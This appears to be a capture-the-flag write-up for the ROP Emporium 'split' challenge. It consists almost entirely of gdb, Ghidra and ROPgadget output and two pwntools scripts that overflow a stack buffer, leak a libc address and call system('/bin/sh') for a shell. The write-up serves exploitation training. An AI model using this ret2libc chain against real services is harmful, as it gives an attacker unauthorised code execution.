1
2
3
4
5
6
7
| gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$
|
Reversing in ghidra
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
undefined8 main(void)
{
setvbuf(stdout,(char *)0x0,2,0);
puts("split by ROP Emporium");
puts("x86_64\n");
pwnme();
puts("\nExiting");
return 0;
}
void pwnme(void)
{
undefined local_28 [32];
memset(local_28,0,0x20);
puts("Contriving a reason to ask user for data...");
printf("> ");
read(0,local_28,0x60);
puts("Thank you!");
return;
}
void usefulFunction(void)
{
system("/bin/ls");
return;
}
|
Buffer overflow in read function to be exploited.
First we have to find the offset of the buffer overflow
1
2
3
4
5
6
7
8
9
| split$ ./split
split by ROP Emporium
x86_64
Contriving a reason to ask user for data...
> ASD
Thank you!
Exiting
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| gdb-peda$ info fun
All defined functions:
Non-debugging symbols:
0x0000000000400528 _init
0x0000000000400550 puts@plt
0x0000000000400560 system@plt
0x0000000000400570 printf@plt
0x0000000000400580 memset@plt
0x0000000000400590 read@plt
0x00000000004005a0 setvbuf@plt
0x00000000004005b0 _start
0x00000000004005e0 _dl_relocate_static_pie
0x00000000004005f0 deregister_tm_clones
0x0000000000400620 register_tm_clones
0x0000000000400660 __do_global_dtors_aux
0x0000000000400690 frame_dummy
0x0000000000400697 main
0x00000000004006e8 pwnme
0x0000000000400742 usefulFunction
0x0000000000400760 __libc_csu_init
0x00000000004007d0 __libc_csu_fini
0x00000000004007d4 _fini
gdb-peda$
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
| kali@kali:~/ctf/challenges/pwn/ROP/rop_emporium_all_challenges/split$ gdb ./split
GNU gdb (Debian 9.2-1) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./split...
(No debugging symbols found in ./split)
gdb-peda$
gdb-peda$ pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ r
Starting program: /home/kali/ctf/challenges/pwn/ROP/rop_emporium_all_challenges/split/split
split by ROP Emporium
x86_64
Contriving a reason to ask user for data...
> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
Thank you!
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0xb ('\x0b')
RBX: 0x0
RCX: 0x7ffff7edbff3 (<__GI___libc_write+19>: cmp rax,0xfffffffffffff000)
RDX: 0x0
RSI: 0x7ffff7fac723 --> 0xfae670000000000a
RDI: 0x7ffff7fae670 --> 0x0
RBP: 0x6141414541412941 ('A)AAEAAa')
RSP: 0x7fffffffdf48 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA")
RIP: 0x400741 (<pwnme+89>: ret)
R8 : 0xb ('\x0b')
R9 : 0x2
R10: 0xfffffffffffff24b
R11: 0x246
R12: 0x4005b0 (<_start>: xor ebp,ebp)
R13: 0x0
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x40073a <pwnme+82>: call 0x400550 <puts@plt>
0x40073f <pwnme+87>: nop
0x400740 <pwnme+88>: leave
=> 0x400741 <pwnme+89>: ret
0x400742 <usefulFunction>: push rbp
0x400743 <usefulFunction+1>: mov rbp,rsp
0x400746 <usefulFunction+4>: mov edi,0x40084a
0x40074b <usefulFunction+9>: call 0x400560 <system@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdf48 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA")
0008| 0x7fffffffdf50 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA")
0016| 0x7fffffffdf58 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA")
0024| 0x7fffffffdf60 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA")
0032| 0x7fffffffdf68 ("IAAeAA4AAJAAfAA5AAKAAgAA")
0040| 0x7fffffffdf70 ("AJAAfAA5AAKAAgAA")
0048| 0x7fffffffdf78 ("AAKAAgAA")
0056| 0x7fffffffdf80 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400741 in pwnme ()
gdb-peda$ 6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
Undefined command: "6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA". Try "help".
gdb-peda$
|
Searching for offset
1
2
3
4
5
6
7
8
9
10
11
| gdb-peda$ pattern search
Registers contain pattern buffer:
RBP+0 found at offset: 32
Registers point to pattern buffer:
[RSP] --> offset 40 - size ~56
Pattern buffer found at:
0x00007fffffffdf20 : offset 0 - size 96 ($sp + -0x28 [-10 dwords])
References to pattern buffer found at:
0x00007fffffffb330 : 0x00007fffffffdf20 ($sp + -0x2c18 [-2822 dwords])
0x00007fffffffdb80 : 0x00007fffffffdf20 ($sp + -0x3c8 [-242 dwords])
0x00007fffffffdb98 : 0x00007fffffffdf20 ($sp + -0x3b0 [-236 dwords])
|
OFFSET of stack pointer = 40
POP RDI + SYSTEM
1
2
3
| kali@kali:~/ctf/challenges/pwn/ROP/rop_emporium_all_challenges/split$ ROPgadget --binary ./split | grep -i rdi
0x00000000004007c3 : pop rdi ; ret
kali@kali:~/ctf/challenges/pwn/ROP/rop_emporium_all_challenges/split$
|
1
| POP_RDI = 0x00000000004007c3
|
1
| RET = 0x000000000040053e
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
| from pwn import *
p = process('./split')
elf = ELF('./split')
PUTS_PLT = elf.plt['puts']
PUTS_GOT = elf.got['puts']
MAIN = elf.symbols['main']
print("PUTS GOT = {}".format(hex(PUTS_GOT)))
print("PUTS PLT = {}".format(hex(PUTS_PLT)))
print("MAIN = {}".format(hex(MAIN)))
OFFSET = 40
POP_RDI = p64(0x00000000004007c3)
RET = p64(0x000000000040053e)
p.recvuntil(">")
# We have to leak puts address from stack to find libc address
leak_payload = b"A"*OFFSET + POP_RDI + p64(PUTS_GOT) + p64(PUTS_PLT) + p64(MAIN)
p.sendline(leak_payload)
p.recvline()
leak_address = p.recvline().strip()
print("PUTS Leaked Address: {}".format(hex(int.from_bytes(leak_address, byteorder='little'))))
p.recv()
p.interactive()
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| kali@kali:~/ctf/challenges/pwn/ROP/rop_emporium_all_challenges/split$ python3 exp.py
[+] Starting local process './split': pid 23212
[*] '/home/kali/ctf/challenges/pwn/ROP/rop_emporium_all_challenges/split/split'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
PUTS GOT = 0x601018
PUTS PLT = 0x400550
MAIN = 0x400697
/home/kali/ctf/challenges/pwn/ROP/rop_emporium_all_challenges/split/exp.py:21: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil(">")
PUTS Leaked Address: 0x7f092a2f26b0
[*] Switching to interactive mode
$
Thank you!
Exiting
|
Puts leaked address : 0x7f092a2f26b0
ending with 6b0.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
| from pwn import *
p = process('./split')
elf = ELF('./split')
libc = ELF('./libc6_2.31-3_amd64.so')
PUTS_PLT = elf.plt['puts']
PUTS_GOT = elf.got['puts']
MAIN = elf.symbols['main']
log.info("PUTS GOT = {}".format(hex(PUTS_GOT)))
log.info("PUTS PLT = {}".format(hex(PUTS_PLT)))
log.info("MAIN = {}".format(hex(MAIN)))
OFFSET = 40
POP_RDI = p64(0x00000000004007c3)
RET = p64(0x000000000040053e)
p.recvuntil(b">")
# We have to leak puts address from stack to find libc address
leak_payload = b"A"*OFFSET + POP_RDI + p64(PUTS_GOT) + p64(PUTS_PLT) + p64(MAIN)
p.sendline(leak_payload)
p.recvline()
leak_address = p.recvline().strip()
puts_libc = int.from_bytes(leak_address, byteorder='little')
log.info("PUTS Leaked Address: {}".format(hex(int.from_bytes(leak_address, byteorder='little'))))
libc.address = puts_libc - 0x0766b0
log.info("Libc Address: {}".format(hex(libc.address)))
BINSH = libc.search(b"/bin/sh").__next__()
SYSTEM = libc.symbols["system"]
log.info("BINSH Address: {}".format(hex(BINSH)))
log.info("SYSTEM Address: {}".format(hex(SYSTEM)))
final_payload = b"A"* OFFSET + POP_RDI + p64(BINSH) + RET + p64(SYSTEM)
p.recvuntil(b">")
p.sendline(final_payload)
p.sendline()
p.interactive()
|
Running with socat
1
| socat TCP-LISTEN:1337,reuseaddr,fork system:./split
|